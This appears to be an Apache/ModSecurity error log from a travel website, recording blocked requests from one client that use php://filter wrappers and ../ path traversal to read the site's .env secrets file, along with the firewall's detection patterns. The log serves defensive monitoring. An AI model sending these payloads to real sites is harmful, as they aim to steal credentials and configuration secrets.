[hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.431484 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.431531 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&extra=fw2clE_PE1D_H6wvvmvUEttapPtBSfhRTrr7nPotp21sFpXshC5lawN6YOp-tEsNqveRZpudpa1UnojNVGIwEUHqMxBjv13OBshwfV3cYq82FhIzOUu2lFTHfL_xWgN-5De2OQD37KifeKlcCgF6uAzwM2yI1kr09UIJh2n2M0dBLJCQJAEYpCGE3vAadZqbT50e66emWT5JvO2yqF11FsLNtb9sqYXyb2Zen1ozhW9fkOH-Vy70BiXKMqucSMjDub3UuY07AfnJUhcXa8pudVos&token=SIHNK6OA62GQQWIMUAIM2Z63HM4R6H2QHPXRULGLHMYR2FELICACO7O47J6TYA4FOES6KXBAVBPR4HEHIFUSCRG..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.431560 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&extra=fw2cle_pe1d_h6wvvmvuettapptbsfhrtrr7npotp21sfpxshc5lawn6yop-tesnqverzpudpa1unojnvgiweuhqmxbjv13obshwfv3cyq82fhizouu2lfthfl_xwgn-5de2oqd37kifeklccgf6uazwm2yi1kr09uijh2n2m0dbljcqjaeypcge3vaadzqbt50e66emwt5jvo2yqf11fslntb9sqyxyb2zen1ozhw9fkoh-vy70bixkmqucsmjdub3uuy07afnjuhcxa8pudvos&token=sihnk6oa62gqqwimuaim2z63hm4r6h2qhpxrulglhmyr2felicaco7o47j6tya4foes6kxbavbpr4hehifuscrg..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.431596 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.431627 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.431952 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.432932 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.433075 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.433350 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AZQAAAAU"]
[Fri Jul 17 08:55:11.436895 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=3FJZA-8zTF4ZlExcg7pucmnfCCBswhh0m37QsnnUsbbEQlv7MadN8DQomjmhVa5DMLgQtycWaHYcv8m4FtMoIGTeCugEqvB46E1GumD-ITvh-OYgciWzAa6H3YjKMBD1H6VPWjpSPhrmV3fRg5SoajqV2aPDcdIhwpzltVfjt3pQ0M01ogX5P5jD0j6Qs28Ev7G7ty8k_igq8wxkbUx2wBXejPdhwPWzUKDKf8dEzZztqO6MqjSSr9I9Zf51QIPQLM-GOv08Hf_3iP06ChFv2TBb&ref=XC6SPKNYEUEWOLU6BT5HMBLUM53I5ZEEAYR47QKTGHC27WYLUVVRXSLGDULCM6V2X4WGCRQVX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.436950 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.437002 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.base64-encode/resource=../../../.env&junk=3FJZA-8zTF4ZlExcg7pucmnfCCBswhh0m37QsnnUsbbEQlv7MadN8DQomjmhVa5DMLgQtycWaHYcv8m4FtMoIGTeCugEqvB46E1GumD-ITvh-OYgciWzAa6H3YjKMBD1H6VPWjpSPhrmV3fRg5SoajqV2aPDcdIhwpzltVfjt3pQ0M01ogX5P5jD0j6Qs28Ev7G7ty8k_igq8wxkbUx2wBXejPdhwPWzUKDKf8dEzZztqO6MqjSSr9I9Zf51QIPQLM-GOv08Hf_3iP06ChFv2TBb&ref=XC6SPKNYEUEWOLU6BT5HMBLUM53I5ZEEAYR47QKTGHC27WYLUVVRXSLGDULCM6V2X4WGCRQVX7DVIYCN7EKIND64O6MNRW3QQZO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.437105 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.base64-encode/resource=../../../.env&junk=3fjza-8ztf4zlexcg7pucmnfccbswhh0m37qsnnusbbeqlv7madn8dqomjmhva5dmlgqtycwahycv8m4ftmoigtecugeqvb46e1gumd-itvh-oygciwzaa6h3yjkmbd1h6vpwjpsphrmv3frg5soajqv2apdcdihwpzltvfjt3pq0m01ogx5p5jd0j6qs28ev7g7ty8k_igq8wxkbux2wbxejpdhwpwzukdkf8dezzztqo6mqjssr9i9zf51qipqlm-gov08hf_3ip06chfv2tbb&ref=xc6spknyeuewolu6bt5hmblum53i5zeeayr47qktghc27wyluvvrxslgdulcm6v2x4wgcrqvx7dviycn7ekind64o6mnrw3qqzo..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.437139 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.437164 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.437258 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&template=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&anything=zwHyZHs1zKGlVFm56IW630JGctv-wyqr1TbNNkVP_nYa_16Pzh0WCmlcPii1jd_S_o5H7N-DYCS9GOT36Pl08e9mBiHJV9BatbFc0DSnj33HVb_g7gjAJzPTYrWgXciBnh7oTOfx0efbfqaK137aBIyfSvJckBDfirLWD4FV8spe55KUV954dpuYFzGjAOBpnRg7oals8-M2V721aCfay1FcjG9K6cMY_joGhQ1n2ukjjOcq1kyHhjqnXW_wc1Eqms1emFtSFvvrcKxIHg87mF-D&debug=BQCSO2TFQMG6F6XNXUO3HAVFRHQJIZDDQRN5SIKE2NJNVRO74DKNLF4NSQMR2NT5YGWK..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.437294 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.437347 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&anything=zwHyZHs1zKGlVFm56IW630JGctv-wyqr1TbNNkVP_nYa_16Pzh0WCmlcPii1jd_S_o5H7N-DYCS9GOT36Pl08e9mBiHJV9BatbFc0DSnj33HVb_g7gjAJzPTYrWgXciBnh7oTOfx0efbfqaK137aBIyfSvJckBDfirLWD4FV8spe55KUV954dpuYFzGjAOBpnRg7oals8-M2V721aCfay1FcjG9K6cMY_joGhQ1n2ukjjOcq1kyHhjqnXW_wc1Eqms1emFtSFvvrcKxIHg87mF-D&debug=BQCSO2TFQMG6F6XNXUO3HAVFRHQJIZDDQRN5SIKE2NJNVRO74DKNLF4NSQMR2NT5YGWKDKPITMT3EQ4BR5U5FVJC3E4E..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.437388 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&template=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&anything=zwhyzhs1zkglvfm56iw630jgctv-wyqr1tbnnkvp_nya_16pzh0wcmlcpii1jd_s_o5h7n-dycs9got36pl08e9mbihjv9batbfc0dsnj33hvb_g7gjajzptyrwgxcibnh7otofx0efbfqak137abiyfsvjckbdfirlwd4fv8spe55kuv954dpuyfzgjaobpnrg7oals8-m2v721acfay1fcjg9k6cmy_joghq1n2ukjjocq1kyhhjqnxw_wc1eqms1emftsfvvrckxihg87mf-d&debug=bqcso2tfqmg6f6xnxuo3havfrhqjizddqrn5sike2njnvro74dknlf4nsqmr2nt5ygwkdkpitmt3eq4br5u5fvjc3e4e..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.437416 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.437441 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.437500 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.437796 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.438516 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
[Fri Jul 17 08:55:11.438660 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.438842 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MQAAABw"]
[Fri Jul 17 08:55:11.438944 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.438968 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBRAAAAAY"]
